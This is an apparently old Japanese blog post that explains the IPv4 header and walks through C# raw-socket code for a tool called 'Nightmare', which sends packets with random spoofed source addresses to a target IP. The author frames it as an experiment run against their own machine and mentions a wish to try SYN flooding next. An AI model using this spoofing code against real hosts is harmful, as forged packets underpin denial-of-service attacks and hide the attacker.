Windows XPは「サイト攻撃者の味方」か?
ちょっと古い記事です。
Windows2000/XPからWinsock2に完全な生ソケットの実装がされたことに対して抗議する人たちがいるのです。
生ソケットの完全な実装を提供することがおろかであると怒っています。
なぜかというと、生ソケットを使うことでIPアドレスを偽装できるからであるからとしています。
XPは今後、多くの一般家庭向けのPCのOSとして使われる = 導入数がかなりの桁の予感
一般家庭 = セキュリティへの認識が甘い
つまりXPが多くの家庭に導入されるということは、IPアドレスを偽装してDoS攻撃を行うトロイなどをより広範囲に広める可能性があると
いう結論に達しているようです。
生ソケットって使い方によっちゃ怖いよね、っていう感じですが私はIPアドレスを偽装してみたくなりました。
ソケットってなんですか?
ソケットはTCP/IP ( UDPとかも含む ) を利用した通信を行うアプリケーションを作成するための抽象化されたインターフェースです。
TCPやUDPで通信するプログラムを書く場合は、ストリームソケットやデータグラムソケットを使用しますが、IPヘッダのデータを
1から作るということはしません。ですが生ソケット(Raw Socket)を使えばそこで作られるデータを
プログラマ自身が作ることもできるようになるのです。IPヘッダを作るには、IPヘッダの構造を知らないといけません。
バイトオフセット |
ビット長 |
内容 |
説明 |
0 |
4 |
バージョン情報 |
IPv4の場合は4 |
4 |
ヘッダの長さ |
ヘッダ部の長さを32bit単位で表す |
1 |
8 |
サービスタイプ |
パケットの優先度とかを表すのに使われる。 |
2 |
16 |
Total Length |
IPパケット全体の長さ |
4 |
16 |
ID |
パケットのID。フラグメント化されたパケットを再構築する時に使われる。 |
6 |
3 |
Flags |
0xx:ここは0で固定
x1x:1だとフラグメント不可。0だとフラグメントされている
xx1:後続のフラグメントがある |
13 |
Flagment Offset |
元のデータ中の位置を8オクテット単位で表す。つまりフラグメントされたできた
データのかけらは、最後を除いて8の倍数のサイズでなければならない |
8 |
8 |
TTL |
パケットの生存期間 |
9 |
8 |
プロトコル |
0 : IP
1 : ICMP
6 : TCP
17 : UDP
255 : RAW
DATA部のフォーマットを規定します。
|
10 |
16 |
チェックサム |
IPヘッダ部分のチェックサム |
12 |
32 |
送信元IPアドレス |
|
16 |
32 |
宛先IPアドレス |
|
20 |
可変 |
オプション |
さまざまなIPのオプションデータ。基本的に使われない |
可変 |
パディング |
IPヘッダのサイズが4の倍数となるように意味なきデータを詰める |
で、今回はとりあえずIPアドレスを偽装して適当なパケットを投げてみることにしましょう。
パケットが届いてることを確認するのに前回紹介した「WatchHouse」を使うことにします。
では送信元がおかしなIPパケットを飛ばしてみましょう

今回作るアプリの図
今回作るアプリ名は「Nightmare」です。Nightmareってなによ?って思った人はgooにでも行って調べてみるといいと思います。
一応直リン置いときます。だめだったら消します。
ターゲットに悪夢を見せてやるぜ!という意気込みのもとに作られたわけですが、実際そこまで至っていません。
つーか至れそうにないですね。へたれなんで。
今回はいかに簡単にIPを偽れるかを実感してもらいたいと思います。
ということでソース一式置いておきます。これもまた自分でビルドして下さいね。
では簡単にポイントとなりそうなメソッドだけ解説しておきます。
public void StartSendPacket ( string
ip ) |
this.keepSending = true;
this.rawSocket = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.Raw
);
this.rawSocket.Blocking = false;
this.target = IPAddress.Parse(ip);
this.rawSocket.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded,
1);
this.SendCamouflagedPacket(); |
解説:
変なパケット送信を開始する部分です。引数のIPアドレスがターゲットとなります。
SetSocketOption()でHeaderIncludedを1、すなわちtrueにしています。これはそのソケットを使ってデータを
送るとき、そのデータにIPヘッダーが含まれているのかどうかを表します。
これをtrueにしておかないと自分でIPヘッダ作れません。
|
スタートが呼ばれたので、送信元を偽ったパケットを送信するところに入ります。
unsafe private void SendCamouflagedPacket
() |
fixed(byte* _pBuff = headerBuffer)
{
this.SetIpHeader(_pBuff);
this.rawSocket.BeginSendTo(
headerBuffer, 0, headerBuffer.Length ,
SocketFlags.None, new IPEndPoint(this.target, 0) , new AsyncCallback(.CallSend),
this);
}
|
解説:
SetIpHeaderで必要な値を埋め込みます。headerBufferはメンバ変数であり、byteの配列です。
大きさは20で、IPヘッダの最小サイズと同じです。IPヘッダとして必要な値が全てセットされたらパケットを送り出します。
|
SetIpHeaderで値が入っている様を見てみましょう。
unsafe private void SetIpHeader ( byte*
ipHeaderPoint ) |
IPHeader* header = (IPHeader*)ipHeaderPoint;
this.SetNewRand();
header->VersionAndLength = 69;
header->TotalLength = (ushort)IPAddress.HostToNetworkOrder( this.headerBuffer.Length
);
//プロトコルタイプも適当に
header->ProtocolType = (byte)this.rand.Next(255);
//送信元のIPアドレスを適当に作成する
IPAddress src = new IPAddress(this.rand.Next(int.MaxValue));
header->DestinationAddress = (uint)this.target.Address;
header->SourceAddress = (uint)src.Address;
header->TTL = 60;
header->Offset = 0;
header->ID = 0;
header->Checksum = 0;
header->TypeOfService = 0;
header->Checksum = this.Checksum((ushort*)&header, sizeof(IPHeader)); |
解説:
IPヘッダに必要な値をここで設定します。
headerAndLengthに入れられる69という値は何ですか?と思う方は多いかもしれません。
69を二進数にしてみましょう。" 01000101 " になりますね。
ここで上から4bitがバージョン情報で、残りの4bitがヘッダの長さを32bit単位で表したものとなります。
0100がバージョン情報で、0101がヘッダの長さです。IPバージョンは4であり、ヘッダの長さは20オクテットなので
5になりますね。69はそういう意味があります。0x45と書いた方がわかりやすそうですね。
続いてプロトコルタイプと送信元アドレスを乱数で適当に作ってしまいます。
残りの値は適当です。最後にチェックサムの計算をして値を入れなおします。
|
実験してみましょう。
とりあえず自分のIP宛にぶっぱなしてみたところ以下のようになりました。 
送信元がむちゃくちゃになってますね。一応これでパケットが届いてることが確認できていると思います。
宛先はまずいので消してます。
最後に
今回は偽りの送信元IPアドレスを持ったパケットを送り出してみました。IPを偽ることは意外と簡単ですね。
TCPじゃ3ウェイハンドシェイクのせいでIP偽ったF5アタックみたいなこと難しそうだーと思いつつ
次はSYN FLOOD攻撃でもやってみてえなあ、、、とか思ってみたり。
|
|